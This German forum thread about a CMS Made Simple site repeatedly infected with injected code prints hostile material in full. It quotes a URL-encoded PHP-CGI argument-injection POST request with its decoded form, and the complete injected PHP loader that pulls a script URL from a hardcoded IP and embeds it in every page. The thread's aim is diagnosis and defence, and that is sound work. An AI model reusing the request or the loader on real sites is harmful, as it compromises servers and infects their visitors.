[GELÖST] Trojan:JS/Blacolle.RF Befall des CMS (Sicherheitslücke?)

langweilo · 28. August 2013 16:30

Zu beginn! ja es wird die Aktuelle CMSMS 1.11.7 verwendet ;-)

Hallo ihr, seit ca. Juni werden 2 meiner CMS Projekte einmal Pro Woche befallen und mittels Quellcode der Trojan:JS/Blacolle.RF eingebettet. Mir ist absolut nicht klar wie es geschafft wird den Code in die Index.php sowie in nahezu alle .tpl Dateien im Admin und in die meisten Dateien im Module Verzeichnis einzuspielen.

Gern hätte ich der eingespielten Quellcode mal gepostet, habe aber eben erst wieder mein Backup eingespielt und somit alle Dateien bereinigt. Der initiierte Quellcode beginnt immer mit #d68107# und kann somit recht schnell gefunden bzw. bereinigt werden. aber es ist ja nicht Sinn der Sache. Auch wenn ich mit Google nach d68107 suche finde ich viele andere betroffene Seiten aber leider nie eine Lösung wie man es verhindert.

Mein Hoster kann (oder will) mit nicht wirklich helfen und meint nur folgendes:

Der Einbruch ist relativ einfach. Es wird ein enquoteter String per Post an die index.php Datei gesendet:

Hier klicken, um den Code zum Kopieren zu markieren

 "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 13905 "-" "Python-urllib/2.6"

bzw:

Hier klicken, um den Code zum Kopieren zu markieren

urllib.unquote('%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E')

aber wie ich das nun unterbinde, vermeide bzw. behebe ist nicht klar.
ich kann ja auch nicht alle Dateien des CMS auf die Attribute 444 setzen, ich will ja schließlich noch arbeiten und updaten können.

PS: ich sehe grade, das Thema Trojaner in diversen Dateien? Win32/Quidvetis.A ist sehr ähnlich. scheinbar nur mit einem anderen Trojaner.

hat wer nen Tipp was ich machen oder wie ich das in den Griff bekomme?

Beitrag geändert von langweilo (28. August 2013 16:55)

nockenfell · 28. August 2013 17:09

Wenn man danach googlet, scheint dies eine Sicherheitslücke in Plesk zu sein, welche hier ausgenützt wird.

Folgendes Steht in diesem Request:

Hier klicken, um den Code zum Kopieren zu markieren

/phppath/php?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input+-n

Hiermit lässt es sich entschlüsseln:
http://ddecode.com/hexdecoder/

Hier allenfalls eine Info: http://www.zionsecurity.com/blog/2013/0 … web-server
http://www.heise.de/security/meldung/An … 83732.html

NaN · 28. August 2013 17:24

Ich würde Deinem Provider mal gehörig in den Arsch treten:
http://www.cvedetails.com/cve/CVE-2012-1823
http://blog.sucuri.net/2013/06/plesk-0- … -wild.html

langweilo · 29. Januar 2014 01:33

Entschuldigung für die Späte Rückmeldung, war leider aufgrund Nachwuchs verhindert und hab alles aus den Augen verloren.

Was genau wolltest du mir mit den 2 links sagen? warum sollte ich meinem Provider in den Arsch treten?

NaN · 29. Januar 2014 08:46

Was genau wolltest du mir mit den 2 links sagen?

Diese Links beschreiben die Sicherheitslücke, die bei Dir ausgenutzt wurde, sehr genau.

Der Einbruch ist relativ einfach. Es wird ein enquoteter String per Post an die index.php Datei gesendet:
[...]
aber wie ich das nun unterbinde, vermeide bzw. behebe ist nicht klar.
[...]
warum sollte ich meinem Provider in den Arsch treten?

Du vermeidest das, indem Du deinem Provider (im übertragenen Sinne) in den Arsch trittst, weil er für das Schließen dieser Sicherheitslücke verantwortlich ist. Schick ihm doch einfach mal diese beiden Links. Dann wird er hoffentlich sehen, dass nur derjenige etwas dagegen tun kann, der den Server verwaltet.

Das ist eine Lücke in PLESK selbst. Die wurde in neueren Versionen bereits behoben. Bei Dir kommt offenbar noch eine veraltete Version zum Einsatz. Die aktuelle Version ist Nummero 11.

Diese Lücke ist bereits seit über einem halben Jahr bekannt.
Dafür können weder Du noch CMSms etwas.
Da ist numal Dein Provider am Zug.
Da kann er labern was er will.

langweilo · 18. Februar 2014 21:16

NaN schrieb:

Was genau wolltest du mir mit den 2 links sagen?
Diese Links beschreiben die Sicherheitslücke, die bei Dir ausgenutzt wurde, sehr genau.
Der Einbruch ist relativ einfach. Es wird ein enquoteter String per Post an die index.php Datei gesendet:
[...]
aber wie ich das nun unterbinde, vermeide bzw. behebe ist nicht klar.
[...]
warum sollte ich meinem Provider in den Arsch treten?
Du vermeidest das, indem Du deinem Provider (im übertragenen Sinne) in den Arsch trittst, weil er für das Schließen dieser Sicherheitslücke verantwortlich ist. Schick ihm doch einfach mal diese beiden Links. Dann wird er hoffentlich sehen, dass nur derjenige etwas dagegen tun kann, der den Server verwaltet.
Das ist eine Lücke in PLESK selbst. Die wurde in neueren Versionen bereits behoben. Bei Dir kommt offenbar noch eine veraltete Version zum Einsatz. Die aktuelle Version ist Nummero 11.
Diese Lücke ist bereits seit über einem halben Jahr bekannt.
Dafür können weder Du noch CMSms etwas.
Da ist numal Dein Provider am Zug.
Da kann er labern was er will.

ich hab das Mal so weitergeleitet und ne gepfefferte Mail zurück bekommen ;-(

Zum Hinweis es läuft kein PLESK sondern CONFIX

Das ist ein PLESK Hinweis mit FCGI -> nicht bei uns.

Es mag zwar sein dass man die CVEs gelesen hat, verstanden jedoch nicht.

> Schick ihm doch einfach mal diese beiden Links. Dann wird er hoffentlich > sehen, dass nur derjenige etwas dagegen tun kann, der den Server verwaltet.

Ich lachte hart.

> Das ist eine Lücke in PLESK selbst. Die wurde in neueren Versionen bereits > behoben. Bei Dir kommt offenbar noch eine veraltete Version zum Einsatz. Die > aktuelle Version ist Nummero 11.

Was denn nun PLESK, CONFIXX?

> Diese Lücke ist bereits seit über einem halben Jahr bekannt.

Ja ich kenne die Lücke seit der Erscheinung. Ich lese die CVEs direkt mit.

> Dafür können weder Du noch CMSms etwas.

Noch mehr Schwachsinn.

> Da ist numal Dein Provider am Zug.

Wir verwenden auf unseren Servern Confixx und PLESK. Das ist soweit richtig. FastCGI gibt es bei uns nicht sondern wir verwenden einzeln isolierte Webs die sicher stellen, das jede Datei, jedes Script und jede Aktion immer unter dem jeweiligen Benutzer laufen. Dies stellen wir durch eine POSIX Eigenschaft im Kernel sicher, die jedoch nur POSIX Systeme hat, in dem wir Requests, auf den jeweiligen Benutzer im Apache umschreiben. Somit können per se erst einmal Lücken auftauchen was will, wenn dann passiert das nur im Account selbst.

Beitrag geändert von langweilo (18. Februar 2014 21:17)

Andynium · 19. Februar 2014 04:56

Ähmm, was davon ist jetzt die Antwort und was ist dein Kommentar?

NaN · 19. Februar 2014 11:45

Dein Hoster ist nicht zufällig box.media, oder?

Poste hier mal Deine CMSms Systeminformationen.
(Im Backend unter Webseitenadministration -> Systeminformationen -> rechts oben den Link anklicken -> copy & paste ...)

Somit können per se erst einmal Lücken auftauchen was will, wenn dann passiert das nur im Account selbst.

Unter welchem Account das passiert ist doch egal.
Es passiert.
Und nur darum geht's doch.
Oder?

Vermutlich hat er sich das hier auch schon mal angeschaut:
http://seclists.org/fulldisclosure/2013/Jun/21

Da geht es um etwas ähnliches, ist aber laut eigenen Aussagen nicht die von mir oben verlinkte cve-2012-1823. Bei diesem Exploit wird kein PHP-Script ausgeführt. Der PHP-Interpreter wird direkt angesprochen. Von "außen". (Daher war ich ja anfangs der Meinung, dass Dein Provider das Problem beheben sollte, weil Du selbst darauf ja i.d.R. keinerlei Einfluss hast.)

Ich bin kein Profi in solchen Sachen und ich kann mich da auch derbe irren, aber die Fragen sind doch meiner Meinung nach diese: Wieso kann man via POST-Request Kommandozeilenparameter vom Server ausführen lassen bevor irgendein PHP-Script des CMS aktiv wird? Wieso greift ein schon lange bekanntes Exploit - welches Schwachstellen in der Serverkonfiguration ausnutzt - auf seinem vermeintlich sicheren Server?

Wenn Dein Provider der Meinung ist, der oben genannte POST-Request sei die Ursache, dann geht diese Ursache meiner Meinung nach am PHP-Script von CMSms vorbei. Und dann ist es seine Aufgabe, das zu unterbinden.

Was schlägt Dein Provider denn vor, was Du machen sollst/kannst?
(Außer ihn in Ruhe zu lassen)

EDIT...

Du könntest eventuell mal folgendes probieren
(bevor Du vielleicht wieder Deinem Provider auf den Keks gehst wink ):

In einer .htacces-Datei mit Hilfe einer bestimmten RewriteRule verdächtige Anfragen blockieren:

Hier klicken, um den Code zum Kopieren zu markieren

RewriteEngine on
RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|\- [NC]
RewriteRule .? - [F,L]

Und dann abwarten ...

Beitrag geändert von NaN (19. Februar 2014 14:48)

langweilo · 06. März 2014 15:45

Danke für deine Rückmeldung

NaN schrieb:

Dein Hoster ist nicht zufällig box.media, oder?

wie kommst du drauf ;-)

NaN schrieb:

Poste hier mal Deine CMSms Systeminformationen.
(Im Backend unter Webseitenadministration -> Systeminformationen -> rechts oben den Link anklicken -> copy & paste ...)

Hier klicken, um den Code zum Kopieren zu markieren

[== systeminfo ==]
----------------------------------------------

Cms Version: [b]1.11.10[/b]

Installed Modules:

    CMSMailer: [b]5.2.2[/b]
    CMSPrinting: [b]1.0.5[/b]
    FileManager: [b]1.4.4[/b]
    MenuManager: [b]1.8.6[/b]
    MicroTiny: [b]1.2.6[/b]
    ModuleManager: [b]1.5.5[/b]
    News: [b]2.14.2[/b]
    Search: [b]1.7.11[/b]
    ThemeManager: [b]1.1.8[/b]
    FormBuilder: [b]0.7.4[/b]
    CGExtensions: [b]1.38.1[/b]
    SiteMapMadeSimple: [b]1.2.7[/b]
    Statistics: [b]1.1.3[/b]
    CGFeedMaker: [b]1.0.19[/b]
    TinyMCE: [b]2.9.12[/b]
    ToolBox: [b]1.3.8[/b]
    GBFilePicker: [b]1.3.3[/b]


Config Information:

    php_memory_limit: [b][/b]
    process_whole_template: [b][/b]
    max_upload_size: [b]32000000[/b]
    url_rewriting: [b]mod_rewrite[/b]
    page_extension: [b][/b]
    query_var: [b]page[/b]
    image_manipulation_prog: [b]GD[/b]
    auto_alias_content: [b]true[/b]
    locale: [b]de_DE.UTF8[/b]
    default_encoding: [b]utf-8[/b]
    admin_encoding: [b]utf-8[/b]
    set_names: [b]true[/b]


Php Information:

    phpversion: [b]5.3.28-1~dotdeb.0[/b]
    md5_function: [b]An[/b] (Ja)
    gd_version: [b]2[/b]
    tempnam_function: [b]An[/b] (Ja)
    magic_quotes_runtime: [b]Aus[/b] (Nein)
    E_STRICT: [b]0[/b]
    E_DEPRECATED: [b]0[/b]
    memory_limit: [b]128M[/b]
    max_execution_time: [b]60[/b]
    output_buffering: [b]4096[/b]
    safe_mode: [b]Aus[/b] (Nein)
    file_uploads: [b]An[/b] (Ja)
    post_max_size: [b]24M[/b]
    upload_max_filesize: [b]32M[/b]
    session_save_path: [b]/tmp[/b] (7777)
    session_use_cookies: [b]An[/b] (Ja)
    xml_function: [b]An[/b] (Ja)
    xmlreader_class: [b]An[/b] (Ja)


Server Information:

    Server Api: [b]apache2handler[/b]
    Server Db Type: [b]MySQL (mysqli)[/b]
    Server Db Version: [b]5.1.73[/b]
    Server Db Grants: [b]Es konnte keine "GRANT ALL" Berechtigung gefunden werden. Dies kann bedeuten, dass Sie bei der Installation oder Entfernen von Modulen Probleme haben könnten. Oder sogar beim Hinzufügen und Löschen von Elementen, einschließlich Seiten[/b]
    Server Time Diff: [b]Keine Abweichung der Zeit im Dateisystem gefunden[/b]


----------------------------------------------

NaN schrieb:

EDIT...
Du könntest eventuell mal folgendes probieren
(bevor Du vielleicht wieder Deinem Provider auf den Keks gehst ):
In einer .htacces-Datei mit Hilfe einer bestimmten RewriteRule verdächtige Anfragen blockieren:
Hier klicken, um den Code zum Kopieren zu markieren
RewriteEngine on
RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|\- [NC]
RewriteRule .? - [F,L]
Und dann abwarten ...

ich habe mich bisher strikt an folgendes gehalten:
HowTo: CMS Made Simple absichern

habe deine Regel aber mal mit ergänzt.

Das wir ein Langer Post...

Seit dieser Woche ist es ganz extrem, täglich einmal werden alle "action.default.php" innerhalb jedes Moduls mit folgendem Code befallen:

Hier klicken, um den Code zum Kopieren zu markieren

[== PHP ==]
<?php
#b729c1#
if (empty($e)) {
    error_reporting(0);
    @ini_set('display_errors', 0);
    function __url_get_contents($remote_url)
    {
        if (function_exists('curl_exec')) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $remote_url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5); //timeout in seconds
            $_url_get_contents_data = curl_exec($ch);
            curl_close($ch);
        } elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
            $ctx = stream_context_create(array('http' =>
                array(
                    'timeout' => 2,
                )
            ));
            $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);
        } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
            $handle = fopen($remote_url, "r");
            $_url_get_contents_data = stream_get_contents($handle);
        } else {
            $_url_get_contents_data = __file_get_url_contents($remote_url);
        }
        return $_url_get_contents_data;
    }

    function __file_get_url_contents($remote_url)
    {
        if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',
            $remote_url, $matches)
        ) {
            $protocol = strtolower($matches[1]);
            $host = $matches[2];
            $path = $matches[3];
        } else {
            // Bad remote_url-format
            return FALSE;
        }
        if ($protocol == "http") {
            $socket = fsockopen($host, 80, $errno, $errstr, 2);
        } else {
            // Bad protocol
            return FALSE;
        }
        if (!$socket) {
            // Error creating socket
            return FALSE;
        }
        $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
        $len_written = fwrite($socket, $request);
        if ($len_written === FALSE || $len_written != strlen($request)) {
            // Error sending request
            return FALSE;
        }
        $response = "";
        while (!feof($socket) &&
            ($buf = fread($socket, 4096)) !== FALSE) {
            $response .= $buf;
        }
        if ($buf === FALSE) {
            // Error reading response
            return FALSE;
        }
        $end_of_header = strpos($response, "\r\n\r\n");
        return substr($response, $end_of_header + 4);
    }

    $remote_domain = "http://62.75.252.23/b.php";
    $remote_domain = __url_get_contents($remote_domain);
    if (strpos($remote_domain, 'http://') === 0) {
        $e = '<script type="text/javascript" src="' . $remote_domain . '?id=45865250"></script>';
        echo $e;
    }
}
#/b729c1#
?>
<?php

?>

Zudem auch die Dateien "login.php, footer.php, header.php, home.php" im Admin Verzeichnis.

Andynium · 06. März 2014 15:56

Da hast du dich aber nicht ganz an das HowTo gehalten wink - da steht nämlich auch drin, dass du den Zugriff auf das admin Verzeichnis mit einer htaccess absichern sollst.

Und dann noch ergänzend die Berechtigung für /modules auf 644 setzen.

Mehr kannst du CMSMS seitig kaum machen.

langweilo · 06. März 2014 17:56

cyberman schrieb:

Da hast du dich aber nicht ganz an das HowTo gehalten - da steht nämlich auch drin, dass du den Zugriff auf das admin Verzeichnis mit einer htaccess absichern sollst.
Und dann noch ergänzend die Berechtigung für /modules auf 644 setzen.
Mehr kannst du CMSMS seitig kaum machen.

habe ich gemacht, nur ohne Passwort, verwende folgendes:
admin heißt anders und hat ne .htaccess mit

Hier klicken, um den Code zum Kopieren zu markieren

[== .htaccess ==]
<Files *.*> order allow,deny allow from all </Files>

/module eine 644 zu geben wäre wenig sinnvoll, Module müssen ja ausgeführt werden können.
also wenn dann 544, oder nicht?
denn schreiben muss man ja nicht unbedingt bzw. nur wenn man Änderungen vornimmt.
da kann man ja die rechte vorher ändern.

NaN schrieb:

Vermutlich hat er sich das hier auch schon mal angeschaut:
http://seclists.org/fulldisclosure/2013/Jun/21
Da geht es um etwas ähnliches, ist aber laut eigenen Aussagen nicht die von mir oben verlinkte cve-2012-1823. Bei diesem Exploit wird kein PHP-Script ausgeführt. Der PHP-Interpreter wird direkt angesprochen. Von "außen". (Daher war ich ja anfangs der Meinung, dass Dein Provider das Problem beheben sollte, weil Du selbst darauf ja i.d.R. keinerlei Einfluss hast.)

Darauf kam folgendes:
bitte erläutern Sie uns doch einmal, warum Sie uns Exploit's nennen, die gar nicht zutreffen (bspw. zu Plesk oder PHP über CGI/FastCGI) - wir können dies nicht nachvollziehen. PHP wird bei uns nicht über CGI/FastCGI eingebunden sondern über mod_php mit mod_ruid2. Auf den Servern die Sie nutzen ist Confixx und nicht Plesk und selbst bei Plesk haben wir mit den bisher genannten Exploits keine Probleme, da wir wie erwähnt weder CGI oder FastCGI nutzen um PHP einzubinden.

NaN · 07. März 2014 06:18

Jetzt bin ich verwirrt. Ich dachte die Info in Deinem ersten Post, dass der Angriff relativ einfach über diesen POST Request auf die index.php stattfand, war von Deinem Provider.

Jetzt sagt er, darüber kann der Angriff nicht stattgefunden haben. Ja was denn nun?

Andynium · 11. März 2014 08:24

langweilo schrieb:

habe ich gemacht, nur ohne Passwort, verwende folgendes:
admin heißt anders und hat ne .htaccess mit
Hier klicken, um den Code zum Kopieren zu markieren
[== .htaccess ==]
<Files *.*> order allow,deny allow from all </Files>

Die htaccess bringt dir gar nix, du erlaubst ja alles - ich meinte mit einer echten Passwortabsicherung, siehe

http://de.selfhtml.org/servercgi/server … hnisschutz

langweilo schrieb:

/module eine 644 zu geben wäre wenig sinnvoll, Module müssen ja ausgeführt werden können.
also wenn dann 544, oder nicht?

Upps, da waren die Finger wieder mal schneller als der Kopf big_smile , meinte natürlich 544.

Andynium · 11. März 2014 08:34

langweilo schrieb:

ich habe mich bisher strikt an folgendes gehalten:
HowTo: CMS Made Simple absichern
habe deine Regel aber mal mit ergänzt.

Hab die NaN's Ergänzung auch mal im genannten Post ergänzt.

langweilo · 13. April 2014 20:36

ich glaub ich spinne, nach nochmaligen hin und her kam nun endlich der entscheidende hinwies. Ich hatte nochmal genau nachgefragt warum sie bzw. er mir nicht helfen will und siehe da es stellte sich raus das von irgendeiner russischen IP ein zugriff per FTP erfolgte. und dieser Zugriff war autorisiert. also weder POST Request noch sonst irgendwas. mein Passwort wurde spioniert. und da dachte ich es wäre sicher.

Habe nun alle meine Passwörter mittels KeePass erneuert, und siehe da... RUHE! endlich Ruhe.
gemäß BSI war ich mit meiner dödel spam Mailadresse auf GMX betroffen.
Obwohl das zwar nicht das selbe Passwort war vermute ich das über diesen Weg die Spionage erfolgte.

Andynium · 14. April 2014 06:28

Danke für dein abschließendes Feedback. Gut zu hören, dass es keine Lücke im CMS war.

Forum für CMS/made simple

#1 28. August 2013 16:30

[GELÖST] Trojan:JS/Blacolle.RF Befall des CMS (Sicherheitslücke?)

#2 28. August 2013 17:09

Re: [GELÖST] Trojan:JS/Blacolle.RF Befall des CMS (Sicherheitslücke?)

#3 28. August 2013 17:24

Re: [GELÖST] Trojan:JS/Blacolle.RF Befall des CMS (Sicherheitslücke?)

#4 29. Januar 2014 01:33

Re: [GELÖST] Trojan:JS/Blacolle.RF Befall des CMS (Sicherheitslücke?)

#5 29. Januar 2014 08:46

Re: [GELÖST] Trojan:JS/Blacolle.RF Befall des CMS (Sicherheitslücke?)

#6 18. Februar 2014 21:16

Re: [GELÖST] Trojan:JS/Blacolle.RF Befall des CMS (Sicherheitslücke?)

#7 19. Februar 2014 04:56

Re: [GELÖST] Trojan:JS/Blacolle.RF Befall des CMS (Sicherheitslücke?)

#8 19. Februar 2014 11:45

Re: [GELÖST] Trojan:JS/Blacolle.RF Befall des CMS (Sicherheitslücke?)

#9 06. März 2014 15:45

Re: [GELÖST] Trojan:JS/Blacolle.RF Befall des CMS (Sicherheitslücke?)

#10 06. März 2014 15:56

Re: [GELÖST] Trojan:JS/Blacolle.RF Befall des CMS (Sicherheitslücke?)

#11 06. März 2014 17:56

Re: [GELÖST] Trojan:JS/Blacolle.RF Befall des CMS (Sicherheitslücke?)

#12 07. März 2014 06:18

Re: [GELÖST] Trojan:JS/Blacolle.RF Befall des CMS (Sicherheitslücke?)

#13 11. März 2014 08:24

Re: [GELÖST] Trojan:JS/Blacolle.RF Befall des CMS (Sicherheitslücke?)

#14 11. März 2014 08:34

Re: [GELÖST] Trojan:JS/Blacolle.RF Befall des CMS (Sicherheitslücke?)

#15 13. April 2014 20:36

Re: [GELÖST] Trojan:JS/Blacolle.RF Befall des CMS (Sicherheitslücke?)

#16 14. April 2014 06:28

Re: [GELÖST] Trojan:JS/Blacolle.RF Befall des CMS (Sicherheitslücke?)

Fußzeile des Forums